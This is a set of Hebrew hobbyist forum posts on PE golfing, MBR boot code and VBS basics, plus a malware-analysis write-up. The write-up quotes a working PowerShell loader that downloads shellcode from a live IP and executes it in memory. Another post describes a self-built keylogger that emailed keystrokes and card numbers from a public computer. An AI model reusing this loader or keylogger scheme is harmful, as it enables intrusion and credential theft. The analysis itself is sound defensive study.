כבר דובר רבות על הסכנות בפרטיות שקיימות בשימוש בעמדות מחשבים ואני כאן כדי לחדד.
כתבתי סקריפט קטן בפיתון שמקליט את כל התווים שמקישים על המקלדת (keylogger) ושולח לי למייל כל 10 דקות קובץ עם כל מה שהקלידו ב 10 דקות האחרונות
כל זה לקח לי פחות משעה (כשרוב הזמן הלך בכלל על כתיבת סקריפט אחר שהמטרה שלו היא לעבור על הקבצים הענקיים שקיבלתי ולחפש בהם כתובות מייל ומספרי כרטיס אשראי - לעשות את זה ידנית זה עבודת נמלים)
ניסיתי להריץ אותו על מחשב בעמדת מחשבים, ואף אנטי וירוס לא קפץ (למעשה גם בבדיקה בווירוס טוטאל הוא לא זוהה בכלל) והוא המשיך לרוץ גם אחרי יציאה מהמשתמש בעמדה!
ניסיתי להיכנס לכמה מיילים ולרשום מספר כרטיס אשראי - והכל זרם לחשבון המייל שלי!
אז אמנם זה לא משהו שסביר להניח שקורה בכל עמדה כל הזמן, אבל אם מישהו רוצה להיזהר קצת - ובפרט אם הוא הולך להקליד את מספר הכרטיס אשראי שלו, אני ממליץ בחום לבצע הפעלה מחדש של המחשב לפני - בדרך כלל בעמדות יש תוכנת הקפאה שמאפסת את המחשב בכל אתחול ומונעת מהוירוס לעלות.
מתכנת חובב
-
המלצה | משתמשים בעמדות מחשבים? כדאי לכם לקרוא את זה! -
הצעת ייעול | קטגוריית סקירותחשבתי לאחרונה שכיוון שיש הרבה בפורום שמחפשים לקנות מוצרים שונים כמו מחשבים, נגנים אוזניות וכו' וכידוע לא קונים מוצר על פי המפרט שלו אלא חשוב מאוד לשמוע מה אומר מי שניסה אותו, אולי כדאי לפתוח קטגוריית סקירות, שבה כל אחד שקנה משהו שיכול להתאים והוא מעוניין בכך, יוכל לכתוב סקירה על המוצר בשביל אחרים שיחפשו לקנות את המוצר הזה.
אפשר לדון עד כמה זה יהיה אפקטיבי ואם מספיק אנשים יכתבו סקירות למוצרים שהם קנו אבל בשביל זה אני מביא את זה לדיון כאן.
אז מה דעתכם ? -
שיתוף | התוכנה הכי קטנה בעולם עכשיו גם מנגנתכנראה את רובכם זה לא יעניין אבל היה לי קצת זמן היום אז התקדמתי עם התוכנה ששיתפתי כאן ולאלו שלא ראו אותה בזמנו - מדובר בשיטה שנקראת PE golfing ובה כותבים תוכנות קטנות ומתומצתות באסמבלי או לפעמים ממש בבינארי (יותר נכון הקסה - דצימלי)
גיליתי את זה לפני כמה ימים ומאז שיחקתי עם זה קצת ולמדתי את מגבלות הפורמט
השיטה היא כתיבת קוד מזערי ביחד עם דחיסה של הפורמט עצמו - ה PE header ממש יושב בתוך ה MZ header (בהיסט של 4 בתים בגלל ה section alignment שיוצא בדיוק ב e_lfanew) וכמובן שאין DOS stub ואז הקוד יושב על ה data directories וחלקים ממנו בשדות לא קריטיים ב PE header או ב optional header
התוכנה שפירסמתי שם הקפיצה הודעת hello world ועכשיו שידרגתי את זה שגם ינגן את התווים של mitm.top כשהם כתובים ב ASCII ומפורשים כתדר שמוכפל ב 32 (shift left של 5 ביטים)
זה מנוגן באמצעות הפונקציה Beep של kernel32 וכיוון שהיא סינכרונית זה קודם מנגן ואז פותח את ההודעה
לדעתי יכול להיות אתגר מעולה למי שמחפש ללמוד על המבנה של קבצי PE או אסמבלי x86 אתגרי
התוכנה שוקלת 268 בתים בלבד שמתוכם על 3 הייתי יכול לוותר אבל לווינדוס 11 יש מגבלה של מינימום בתים לקובץ הרצה (לעומת תוכנה מקבילה שהייתה נכתבת ב C שהייתה שוקלת כנראהכמה עשרות ק"בעריכה: הצלחתי לכתוב תוכנה כזאת ב C שיצאה לי אחרי קמפול ב GCC במשקל של 2560 בתים אם כי נראה לי שהיה אפשר להרזות אותה עוד יותר גם בקמפול תקני (גילוי נאות ג'מיני עזר לי לקמפל את זה כל כך קטן - לא היה לי זמן ללמוד את האופציות ש GCC נותן))
hello_&_beep.exeכמענה למה שכתב @אלדד-הדני-0 אני מצרף פה גרסה שלא ניתנת להנדסה לאחור בצורה רגילה בניתוח סטטי (בדקתי עם ghidra ו IDA במצב זיהוי אוטומטי) - אתגר קל למי מכאן שאוהב אתגרי RE
hello_&_beep_no_RE.exe -
שיתוף | בניתי "מערכת הפעלה" זעירה שיודעת להציג תמונות (טוב, בערך...)קראתי אתמול על וירוס מחשבים ישן בשם MEMZ שבין היתר היה משכתב את ה MBR למיני תוכנה שהייתה מציגה אנימציה על המסך כשהמשתמש היה מפעיל את המחשב
כלומר כותבת שם קוד שלא צריך מערכת הפעלה שתטפל בו אלא יודע לרוץ עצמאית ולהשתמש בפסיקות תוכנה ישירות מהביוס כדי לגשת לחומרה ישירות
הנושא סקרן אותי ולכן ניסיתי לכתוב משהו כזה בעצמי
תוכנה שבהפעלת המחשב תציג תמונה על המסך
זה מצריך שהמחשב יהיה בתצורת BIOS או לפחות יתמוך ב CSM
הרעיון הוא שמהרגע שנטען ה MBR לזיכרון במקום שזה יעבור לחפש את ה loader של המערכת הפעלה מחליפים את זה בקוד שעושה פעולות אחרות - במקרה שלנו מציגים תמונה
הקוד נכתב באסמבלי 16bits ורץ על המעבד עוד כשהוא במצב real mode!
הקוד עצמו שוקל רק 81 בתים בזיכרון והוא יושב בסקטור הראשון של הדיסק
הוא טוען לזיכרון את התמונה עצמה שיושבת ב 126 הסקטורים שאחריו
את התמונה עצמה המרתי ל bmp בלי דחיסה בגודל המירבי שאפשרי במצב VGA mode 13h (שזה 320x200 פיקסלים בעומק צבע של 8 ביטים) וממנו הורדתי את ה headers כך שנשארו לי רק נתוני התמונה
הצבעים יצאו לא כמו במקור בגלל חוסר התאמה במפת הצבעים בין המקודד ש ffmpeg השתמש בו למפה שאיתה קורא הביוס את התמונה
הרצתי את זה אצלי ב VB ועוד לא ניסיתי על מחשב ממש - מוזמנים לנסות ולעדכןמצורף הקוד בסינטקס של NASM (וסליחה שאין תיעוד פשוט אין לי סבלנות לכתוב אותו)
[ORG 0x7C00] [BITS 16] start: JMP SHORT main NOP main: CLI XOR ax, ax MOV ds, ax MOV es, ax MOV fs, ax MOV gs, ax MOV ss, ax MOV sp, 0x7C00 STI MOV [BOOT_DRIVE], dl MOV ah, 0x42 MOV dl, [BOOT_DRIVE] MOV si, DAP INT 0x13 JC disk_error MOV ah, 0x00 MOV al, 0x13 INT 0x10 MOV ax, 0x1000 MOV ds, ax XOR si, si MOV ax, 0xA000 MOV es, ax XOR di, di MOV cx, 32000 CLD REP MOVSW hung: CLI HLT JMP hung disk_error: CLI HLT JMP disk_error BOOT_DRIVE db 0 align 4 DAP: db 0x10 db 0 dw 126 dw 0x0000 dw 0x1000 dq 1 times 510-($-$$) db 0 dw 0xAA55ככה זה נראה בפועל

והנה הקובץ עצמו
יש גרסת bin שאפשר לפרוס על אונקי ולהעלות באתחול ויש גרסת vdi שאפשר להעלות ב virtualbox
myos.vdi
myos.imgעריכה: התמונה המקורית היא כמובן תמונת הפרופיל שלי...
-
שיתוף | יכול להיות שבניתי את התוכנה הכי קטנה בעולם?נחשפתי לאחרונה לעולם של התוכנות הזעירות - אמנות שבה דוחסים שדות בקובץ exe אחד על השני ומצמצמים את הקוד עצמו למינימום ו"עובדים" על ה loader של ווינדוס כמה שאפשר
הגודל המינימלי של התוכנות האלו נכון להיום הוא 268 בתים בגלל דרישות יישור ולכאורה מבנה ה struct שה loader של ווינדוס מחפש לקרוא כשהוא פותח קובץ
הקבצים שראיתי ברשת (האמת שלא חקרתי הרבה) - כל מה שהם עושים היה סך הכל לבצע return ל loader או סתם להגדיר ערך כלשהו ב EAX אבל לא באמת משהו מעניין
אז ישבתי להכין תוכנת hello world שתשב באותו גודל מינימלי והצלחתי אפילו יותר - יש לי 2 בתים ריקים בסוף שהשארתי שם 00 בשביל הריפוד לגודל הנדרש ככה שסך כל הגודל של התוכנה הוא 266 בתים!
הבניה של זה הייתה די מסובכת ולקחה לי כמה שעות של מלחמות עם ווינדוס ואסמבלי ובשלב מסויים גם עם הבינארי עצמו (וגיליתי שלא כזה מסובך לעשות patching ידני ל opcodes)
ממה שבדקתי זאת תוכנת ה hello world הכי קטנה בעולם אבל אולי יש משהו שמנצל אפילו פחות או עושה דברים נוספים (ניסיתי לגרום לו גם לצפצף אבל זה דרש כבר שכתוב של כל ה opcodes וסדר הריצה ואין לי זמן \ כוח לזה עכשיו אבל זה נראה אפשרי) - אם מישהו ימצא משהו טוב יותר אשמח אם הוא יוכל ליידע אותי
אם מעניינים פרטים טכניים על הקובץ והבניה שלו - תוכלו לבקש ואשמח לשתף
בדקתי את הקובץ אצלי - גרסת build 26200.7840 אבל יכול להיות שבעדכוני ווינדוס הבאים זה יישבר
מצורף הקובץ וה dump שלו למי שמתעניין
smallest_hello_world.exeעריכה: אחרי ששמעתי ממשתמשים שהתוכנה קרסה אצלם מתברר שיש גרסאות של ווינדוס שבהם מתבצעות בדיקות שונות ולעשות תוכנה אחת שתעבוד אצל כולם זה חתיכת סיפור
אחרי שסידרתי את עניין ה IAT קפץ עלי רוגזה של בדיקת DRM בגלל דגל debugging לא מאופס (הוא נופל אצלי בדיוק באמצע הקוד...) מקווה שאצליח לסדר את זה
עריכה: סודר
אם קורס אצלכם אשמח שתודיעו לי4D 5A 00 00 50 45 00 00 4C 01 00 00 68 65 6C 6C 6F 20 77 6F 72 6C 64 21 00 00 02 01 0B 01 FF FF FF FF FF 75 73 65 72 33 32 00 00 FF 88 00 00 00 6D 69 74 6D 2E 74 6F 70 00 00 40 00 04 00 00 00 04 00 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 0C 01 00 00 6F 00 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF A8 A2 4D BC EB 31 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 14 8B 00 8B 00 8B 68 10 BF 8E 4E 0E EC E8 23 00 00 00 68 23 00 40 00 FF D0 95 EB CD 90 00 00 00 00 E8 11 00 00 00 6A 00 68 30 00 40 00 68 0C 00 40 00 6A 00 FF D0 C3 8B 55 3C 8B 54 15 78 01 EA 8B 4A 18 8B 5A 20 01 EB 49 8B 34 8B 01 EE 52 31 C0 99 AC 84 C0 74 07 C1 CA 0D 01 C2 EB F4 39 FA 5A 75 E5 8B 5A 24 01 EB 0F B7 0C 4B 8B 5A 1C 01 EB 03 2C 8B 89 E8 C3 00 00
עריכה: יצאה גרסה מעודכנת וסופית
https://mitmachim.top/topic/93863/שיתוף-התוכנה-הכי-קטנה-בעולם-עכשיו-גם-מנגנת -
מדריך | מדריך קצר ובסיסי להודעות ב VBSלאחרונה יצא לי לשחק קצת ב VBS וחשבתי לשתף אותכם במשהו חמוד שהדבר הזה מציע
אז קודם כל: מה זה VBS ?
VBS או visual basic script (נקרא לפעמים גם VBscript) היא מעין שפת תכנות מבוססת visual basic שמשמשת לכתיבת סקריפטים שאותם אפשר להריץ על מערכות ווינדוס השונות
כדי לכתוב בשפה הזו - כל מה שנדרש הוא לפתוח עורך טקסט כלשהו (אפילו את "פנקס רשימות" שקיים בתוך הווינדוס אבל אני אישית ממליץ על ++notepad) ולשמור את הקובץ בסיומת VBS במקום הסיומת הרגילה שהיא TXT
במדריך הזה אני רוצה ללמד אותכם על הודעות ב vbs - כלומר יצירת סקריפט שבלחיצה עליו תופיע הודעה על המסך - כמו זו

אז קודם כל נראה דוגמה של קוד כזה - לדוגמא, הקוד שיצר את התמונה שראיתם קודם הוא זה:msgbox "זוהי הודעה" ,0+48, "הודעה"ופירושו של הקוד הוא זה -
msgboxהוא קיצור של message box - או "תיבת הודעה" בעברית והוא מורה למחשב שאנו רוצים ליצור חלון שבתוכו תהיה הודעה
בשלב הבא נעשה מרכאות ובתוכם נכתוב את הכותרת של החלון
לאחר מכן נכתוב רווח, פסיק וקוד מספרי שמאוחר יותר נסביר אותו ובסוף - עוד פסיק ורווח, נפתח מרכאות נוספות ולתוכם נכניס את ההודעה שלנו - לדוגמא, במקרה הזה ההודעה היא "זוהי הודעה"
נשמור את הקובץ בסיומת vbs - וזהו, הסקריפט מוכן!
ועכשיו, נסביר את הקוד המספרי שהיה באמצע ושהיה מוקף בפסיקים
הספרה הראשונה בקוד מציינת אילו כפתורים יהיו בסוף ההודעה - לדוגמה, במקרה הזה - 0 יצר כפתו אחד שעליו כתוב "אישור" לעומת זאת אם נכתוב "1" יווצרו 2 כפתורים - "אישור" ו "ביטול" וכן הלאה - תוכלו לנסות בעצמכם
הכפתורים האלו יעילים כשרוצים לקבל משוב מהמשתמש (לדוגמה אישור או ביטול) ולפיו לדעת אם לבצע פעולה מסויימת שאותה מגדירים לסקריפט אבל כרגע אנחנו לא מדברים על מקרים כאלו ולכן בשבילינו זה לא יהיה רלוונטי
הקוד השני - במקרה הזה "48" מתחבר למספר הראשון ע"י סימן ה + ופירושו הוא כזה:
בהודעה שהצגתי קודם היה סימן של משולש אזהרה אבל אם נרצה לעשות סימן אחד - לדוגמה אייקון של סימן שאלה - נכתוב 32 בשביל סימן הודעה נכתוב 64 ובשביל סימן איקס נכתוב 16, אם נכתוב 0 לא יהיה סימן בכלל
ולסיכום זה התחביר של הקוד הזהmsgbox "כותרת" ,סוג, "טקסט"כדי לעשות ירידת שורה בהודעה, יש להשתמש בפקודה vbNewLine כמו בדוגמה המצורפת
msgbox "massage" & vbNewLine & "massage2" ,0+48, "title"שימו לב לשמור את הקובץ בקידוד ANSI כמו בתמונה המצורפת

-
בבקשה - תרגום לאחת התוכנות הטובות והנוחות לעריכת וידיאו - פילמורההקבצים שתרגמתי הם של השפה אנגלית אם כי אפשר לשנות לשפה אחרת ע"י שינוי שם התיקייה ושמות הקבצים
יש להיכנס לתיקיית ההתקנה ולנווט לתיקייה lang להדביק ולהחליף
הערה: בעקבות עצתו של @א-מ אני מעלה עכשיו את הקבצים מחדש כארכיון לחילוץ עצמי en.exe
הקבצים יחולצו ישירות לתיקיית ההתקנה
קישור להורדת התוכנה Wondershare Filmora
קישור לאפקטים אפקטים
שימו לב שככל הנראה הגרסה שבקישור לאפקטים - הגרסה אותה העלה @KINGYOS ככל הנראה לא תשתלב עם קובץ התרגום שהבאתי
בעז"ה אני ישתדל להעלות בעתיד מדריך לתוכנה
עריכה: אני מעלה עכשיו קובץ שיחליף את הסרטון הלא ראוי שעליו מודגמים האפקטים של התוכנה (את התמונות של התצוגה מקדימה של האפקטים אין אפשרות להחליף אלא רק את הסרטון) CommonResource.exe -
מדריך | התקנים שלא עולים - מצאתי פתרון למקרים מסויימיםהיה לי קורא כרטיסים USB שהמחשב לא קרא אותו בכלל, גם לא בניהול דיסקים וגם לא ב Diskpart אבל כשפתחתי את מנהל ההתקנים גיליתי דבר כזה

כמו שאתם רואים - יש התקן אחד עם שגיאה ועוד אחד עם עיגול קטן לידו, אז לחצתי על ההתקן עם העיגול והגעתי לחלון הזה

וכשלחצתי על "הפוך התקן זה לזמין עלה לי החלון הזה

לחצתי "הבא" ואז...

לאחר מכן נכנסתי שוב לתיאור ההתקן וזה מה שראיתי

ומאז, הכל עובד חלק! אז אמנם זה אולי לא הדבר הכי מומלץ להשתמש בקורא הזה יותר אבל אולי אם יש למישהו דיסק אונקי שלא עובד או קשיח חיצוני - הוא יוכל ככה להציל את החומר שלו -
המלצה | 🚀 [פרויקט מהפכני] העברת קבצים למחשב ללא אינטרנט דרך שיחה קולית (טלפון כשר!) - הקוד המלא@צדיק-תמים למה כזה שלילי?
יש פה רעיון מעניין גם אם (די ברור ש) הוא לא יתפוס
תן להנות מהיצירתיות והמחקר -
הסבר | מחקר על shellcode loader מאפס חלק א'לפני החג נתקלתי בפוסט הזה שבו תוארה מתקפה מסוג fake capcha על אתר מסויים שבסופה גרמה להרצת קוד ה powershell הזה על מחשב הקורבן (שיניתי את שמות המשתנים למשהו קצת יותר קריא) הקרדיט על הקוד המקורי ל @cfopuser
$payloadUrl = "http://158.94.208.104/x7GkP2mQ9zL4/my_l.bin" try { $webResponse = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing -ErrorAction Stop $shellcodeBytes = $webResponse.Content $payloadSize = $shellcodeBytes.Length $winApiDefinitions = @" using System; using System.Runtime.InteropServices; public class Win32Api { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); } "@ Add-Type -TypeDefinition $winApiDefinitions $memCommit = 0x1000 $memReserve = 0x2000 $pageExecuteReadWrite = 0x40 $allocatedMemory = [Win32Api]::VirtualAlloc([IntPtr]::Zero, $payloadSize, $memCommit -bor $memReserve, $pageExecuteReadWrite) if ($allocatedMemory -eq [IntPtr]::Zero) { throw "Alloc failed" } # 4. פריסת הפיילואוד בזיכרון [System.Runtime.InteropServices.Marshal]::Copy($shellcodeBytes, 0, $allocatedMemory, $payloadSize) # 5. הרצת הפיילואוד $threadId = 0 $threadHandle = [Win32Api]::CreateThread([IntPtr]::Zero, 0, $allocatedMemory, [IntPtr]::Zero, 0, [ref]$threadId) if ($threadHandle -eq [IntPtr]::Zero) { throw "Thread failed" } # המתנה לסיום או פקיעת זמן [Win32Api]::WaitForSingleObject($threadHandle, 30000) | Out-Null Write-Host "done." } catch { exit 1 }אפשר לראות שהקוד מוריד קובץ מהקישור הזה -
http://158.94.208.104/x7GkP2mQ9zL4/my_l.bin
מקצה זיכרון עם הרשאות RWX בגודל של ה payload ומריץ אותו כ thread חדש תחת powershell למשך 30 שניות
הפעולה הזאת נחשבת לקצת "אלימה" - הקצאת מקום בזיכרון עם הרשאות כתיבה + ריצה בלי שהקוד שרץ בו מגובה לקובץ פיזי בדיסק היא פעולה שאמורה להיחסם על ידי EDR טוב אבל אולי היוצרים הסתמכו על זה שמכיוון שזה מגיע מ powershell שהיא תוכנה חתומה זה ירוץ בלי בעיות
השלב הבא הוא אם כן לחקור את ה payload שיורד והורץ כרגע רק אקדים ואומר - מה שיורד הוא מעין wrapper מתוחכם מאוד ורב פעמי שתפקידו הוא לפרוס את הוירוס הסופי בזיכרון והריץ אותו
מכיוון שה wrapper הזה מסועף ומתוחכם כל כך את הפוסט הזה נקדיש רק לו ובפוסט אחר נתמקד בקוד שהוא פורס
מבחינה של הקובץ נראה שהוא בגודל של 53232 בתים או 0xD04A בהקסה - דצימלי (אני כותב את המספר מהזיכרון - רמז לכמות השעות שהעברתי על הקובץ הזה...)
בשלב הראשון נבדוק את האנטרופיה של הקובץ
למי שמעוניין - האלגוריתם שאיתו בדקתי מפורט בספויילראנטרופיה לנתונים בינאריים כלשהם - בין אם זה קובץ דחוס מסמך טקסטואלי וכו' נהוג לבצע באמצעות אלגוריתם האנטרופיה של שאנון - קלוד שאנון היה מתמטיקאי אמריקאי שנחשב לאבי תורת האינפורמציה - נושא מתמטי שנמצא בשימוש רחב בעולם המחשוב והאלגוריתם שהוא פיתח מאפשר לציין את מידת האקראיות שבה נתון מסויים מתוך סדרה של נתונים יופיע
האלגוריתם שלו מאוד מוכר והוא מחושב בצורת חלוקה של מספר הפעמים שנתון מסויים הופיע בסדרת נתונים חלקי אורך סדרת הנתונים ומכיוון שאנחנו עוסקים בנתונים שמופיעים כ 8 ביטים של מידע כל אחד הייצוג המספרי שתנפיק הפונקציה יהיה בין 0 ל 8 - log2 של מספר האפשרויות שהוא 256
עד כאן ההסבר הכללי של האלגוריתם
כשנבוא לחשב אלגוריתם של קובץ בצורה הפשוטה נספור כמה מופיע כל ערך לכל אורך הקובץ חלקי מספר הבתים בקובץ כפול log2 ונקבל ערך אחיד שמייצג את כל הקובץ
אם נרצה - כמו כאן לבדוק את האנטרופיה לכל אורך הקובץ ברזולוציה גבוהה נוכל לקחת את הקובץ המקורי ולקרוא אותו בחלקים ולחשב אנטרופיה לכל חלק
גודל החלק המינימלי יהיה אם כן 256 בתים אבל מסיבות שונות של עיוות בנתונים נהוג לקחת חלק גדול יותר - בדרך כלל 1024 בתים
עכשיו ניתקל בבעיה נוספת - מה יקרה אם יהיה קטע מוצפן של 1024 בתים שמחציתו יהיה בסוף חלק אחד ומחציתו השניה בתחילת החלק הבא? האנטרופיה הגבוהה שלו תיטמע ותתמצע בתוך החלקים שהוא נמצא בהם
לכן בסקריפט שאיתו בדקתי את האנטרופיה מימשתי את האלגוריתם הבא
לוקחים חלק של 1024 בתים
מחשבים לו את האנטרופיה
קופצים קדימה 64 בתים
לוקחים משם עוד 1024 בתים
מחשבים להם וכן הלאה - כלומר הגושים הם של 1024 בתים אבל הקפיצה היא 64 בתים והחפיפה היא 960 בתים
בצורה הזאת מקבלים תמונת אנטרופיה ברזולוציה גבוהה מאוד של הקובץ
מצורף הקוד שהשתמשתי בוimport math from collections import Counter def calculate_entropy(data_chunk): if not data_chunk: return 0 entropy = 0 length = len(data_chunk) byte_counts = Counter(data_chunk) for count in byte_counts.values(): probability = count / length entropy -= probability * math.log2(probability) return entropy def sliding_window_entropy(file_path, window_size=1024, step_size=64): with open(file_path, 'rb') as f: file_data = f.read() file_size = len(file_data) if file_size < window_size: return None, None positions = [] entropies = [] for i in range(0, file_size - window_size + 1, step_size): window = file_data[i:i + window_size] ent = calculate_entropy(window) positions.append(i) entropies.append(ent) return positions, entropies
אפשר לראות שהאנטרופיה של הקובץ בתחילתו גבוהה מאוד - באזור 7.75 ומעידה על מידע דחוס או מוצפן והחל מהאמצע היא צונחת לאיזורים שמאפיינים קוד רגיל - בין 5 ל 6
קצת מוזר בהתחשב שהקוד ינסה לרוץ מההתחלה ואם היא מוצפנת אז מה ירוץ שם?
פתחתי את הקובץ עם HxD והבנתי את הטריק

הקובץ מתחיל עם פקודת call (ה opcode E8) למיקום שמרוחק 0x6DC0 בתים קדימה כלומר היסט 0x6DC5 מתחילת הקובץ
אם נפרש את גודל הקפיצה למספר דצימלי רגיל נקבל 28,101 בתים - נתון שתואם לגודל הבלוק המוצפן שראינו בתמונה לעיל
הווי אומר שיש פה קוד שכנראה מטפל בגוש המוצפן הזה וכנראה גם פורס אותו לזיכרון ומריץ אותו
אז מה הטריק?
כדי שהנוזקה תוכל בהמשך לגשת אל המקטע המוצפן ולעבוד עליו היא צריכה לדעת מה המיקום שלו בזיכרון - הרי היא רצה בתוך זיכרון של תהליך אחר שלא נשלט על ידה ולכן היא משתמשת בטריק שנקרא getPC (get program counter)
במעבד ישנו אוגר שנקרא RIP (או EIP ב x86) שמחזיק את הכתובת בזיכרון של הפקודה הבאה שהמעבד צריך לבצע - במקרה שלנו זאת תהיה הכתובת של תחילת המידע המוצפן שאחרי פקודת ה call
אין אפשרות לגשת לאוגר הזה ולקרוא אותו אבל במקרה שמבצעים קפיצה או קריאה לפרוצדורה מרוחקת הערך של האוגר נדחף למחסנית וכך אפשר לקרוא אותו מהמחסנית ולשמור אותו
אם נדלג על כל המקטע המוצפן ונבדוק את הפקודות שם נוכל לראות את השמירה של הערך הזה
להלן הצילום מ IDA

אפשר להתעלם ממשתני המחסנית - זאת שגיאה בפענוח של IDA
בכל אופן אפשר לראות שהפקודה הראשונה מעתיקה את הערך הראשון במחסנית לאוגר RCX
אחרי שהבנו את הקונספט הזה נוכל להתקדם
מיד אחרי השמירה של הכתובת ב rcx נוכל לראות איפוס של האוגר eax באמצעות xor שלו עם עצמו (דרך קלה ומהירה לאפס ערך באוגר ששווה לmov eax, 0)
אחר כך נוכל לראות קפיצה מותנית מוזרה עם הפקודה JS
JS היא פקודת קפיצה מותנית שתלויה בדגל הסימן - דגל שנדלק אם תוצאת החישוב האחרון כשנתייחס אליה כמספר מסומן תהיה שלילית (ביט ה MSB ידלק)
שברתי קצת את הראש להבין מה הסיפור של הקפיצה הזאת - הרי קודם איפסנו את eax והתוצאה הייתה 0 - הווי אומר שדגל הסימן לא דולק והקפיצה לא תתבצע אז מה הרעיון כאן?
כאן גיליתי טריק גאוני
מפתח הנוזקה לא יודע אם מחשב הקורבן פועל בארכיטקטורת x64 או x86
אם נבדוק את ה bytecodes של פקודת הקפיצה המותנית (הורדתי את ערך הדילוג) נראה שהיא נראית ככה48 0F 88במעבדי x64 הכניסו את ה perfix (תחילית) 48 כדי לסמן שהפקודה הבאה משתמשת באוגרים של 64 סיביות בעוד שבמעבדי x86 הבית 48 מתפרש כ opcode בפני עצמו שמתורגם ל
dec eaxכלומר החסרה של 1 מהערך של האוגר eax
כשמחסירים 1 מ 0 מקבלים 1- שמיוצג כ FFFF וכיוון שהוא מספר שלילי דגל הסימן ידלק והקפיצה תתבצע
כלומר ב 9 בתים יוצר הנוזקה הכניס כאן לוגיקה שיודעת לברור בין קפיצה לקוד x86 (שנמצא בסוף ה payload) לבין המשך ריצה בפונקציות שמקודדות ל x64
אחר כך בדקתי והתברר לי שזאת שיטה מוכרת יחסית ואחת מסדרה של שיטות דומות שמשתמשות בטריקים דומים למטרות שונותעד כאן לעכשיו - מאוחר יותר אפרסם פוסט שמתמקד בריצה של קוד הכלי עצמו - איך הוא מייבא פונקציות שנדרשות לו איך הוא מפענח את המקטע המוצפן ואיך הוא מיישם מנגנוני הגנה והתחמקות שונים
למי שמעוניין לנתח את הכלי הזה - מצורף (כ zip כדי שהפורום לא יתוייג כזדוני - הסיסמה היא mitmachim)
my_l_.zip -
בירור | שחזור קבצים - חזרו יותר חומר שהכרטיס מכיל-איך יתכן@שעטנ-ז-ג-ץ כדי להבין למה זה קורה צריך להבין מהו שחזור.
סידור הקבצים בכונן מתבצע בצורה כזו (לפחות במערכת קבצים מסוג NTFS אבל זה נכון גם לכל שאר מערכות הקבצים) : ישנה מה שנקרא "טבלת מערכת קבצים" - זו כמין טבלה עם רישום של כל הקבצים שנמצאים בכונן עם פרטים כגון גודל, תאריך שינוי וכו' וליד שם של קובץ נמצאת הפנייה למיקום מסוים על הדיסק שבו נמצא תוכן הקובץ
כשמוחקים קובץ מה שקורה הוא שמה שנמחק זה רק הרישום של הקובץ בטבלה הנ"ל אבל לא גוף הקובץ שנמצא במקום אחר בכונן
תוכנות השחזור סורקות את הדיסק ו"אוספות" מידע על כל איזורי הזיכרון שלא ממופים בטבלה הראשית, מנתחות את תוכנו וכך הם מגלות את הקבצים (אגב, זו גם הסיבה שלרוב אחרי שחזור הקובץ חוזר בלי השם או בלי מאפיינים נוספים)
עכשיו, כל זה טוב ויפה כשלא נכתב חומר על שאר הדיסק - איפה שפעם היו קבצים שנמחקו, ברגע שנכתב שם חומר חדש הוא דורס את החומר הישן והחומר הישן אובד לנצח
עוד עניין הוא שמערכת הקבצים מחלקת את הכונן ל"אשכולות" - איזורים בכונן בגודל מסויים - תלוי איך הגדירו בתהליך הפרמוט שבכל איזור כזה יכול להיות רק קובץ אחד או חלק מקובץ, הסיבה היא לצורך התמצאות בכונן וכדי ליצור כתובות וכך הכונן יכול "לרשום" לעצמו בטבלה דלעיל שקובץ מסויים מאוחסן באשכולות 8, 1, ו 5, ולגשת אליהם כשהמשתש רוצה לקרוא את הקובץ
לדוגמה: אם גודל האשכול הוא 4 ק"ב ואני מכניס לכונן קובץ במשקל 2 ק"ב הרי שביזבזתי 2 ק"ב משטח הכונן שבהם הכונן לא יכול להשתמש כי כבר מאוחסן באותו אשכול קובץ (זו הסיבה שתמיד במאפיינים אפשר לראות על תיקייה "גודל" ו"גודל בכונן" - כי לפעמים הקובץ תופס יותר מהמשקל האמיתי שלו) אבל אם נכניס קובץ במקל 7 ק"ב הוא יחולק ל 2 ו4 ק"ב יאוחסנו באשכול אחד ועוד 3 באשכול אחר
מה שקורה הרבה בשחזורים - מה שתיארת, זה שלפעמים ישנם קבצים ישנים ממש שנדרסו ברובם על ידי קבצים חדשים אבל תוכנת השחזור מזהה אותם ולא תמיד יש לה דרך לדעת שהם לא קבצים שלמים ולכן היא משחזרת אותם כאילו הם קובץ תקין ולמעשה אם תנסה לפתוח את הקובץ תגלה שהוא לא נפתח פשוט כי רוב התוכן שלו הוא ג'יבריש (בשביל המחשב כמובן
)
זה יכול גם להתרחש כי אשכול אחד של הקובץ הוא באמת תקין אבל אז תוכנת השחזור פונה לאשכול הבא שאמור להכיל את הקובץ אבל הוא כבר נתפס על ידי קובץ חדש אבל לא תמיד התוכנה תדע את זה וכך נוצרים קבצים פגומים שמכילים בעצם חלקם גדולים של קבצים אחרים
סיבה נוספת היא שהרבה פעמים התוכנה מקודדת מחדש את הקבצים מכל מיני סיבות (כמו לדוגמה שהיא לא מוצאת את סוף או את תחילת הקובץ וכו' ולפעמים הקידוד הזה מנופח מאוד ולא דחוס ולכן קידוד מחדש של החומר יוכל להקטין את הנפח באופן ניכר - אפשר לעשות את זה ע"י תוכנות המרה) -
בקשת מידע | קניתי מחשב מחודש - אשמח לעזרתכם בבדיקתו@מים-אחרונים כתב בבקשת מידע | קניתי מחשב מחודש - אשמח לעזרתכם בבדיקתו:
משום מה הג'יגה הרץ קצת מוזר לי, באתר כתוב (8M Cache, up to 4.2 GHz)
וכאן כתוב 1.5 ?ההסבר הוא כמו שכתבו לך ואפרט
למעבד הזה יש תדר בסיס שהוא 2.60GHz ובזמן מאמץ הוא יכול גם לטפס עד 4.20GHz
מעבר לזה יש תדר למצב חיסכון בחשמל שהוא 1.50GHz
ולפני שתשאל על הזיכרון - רק 15.7 זמינים לשימוש כי השאר שמור לחומרה כמו הכרטיס מסך וכו'
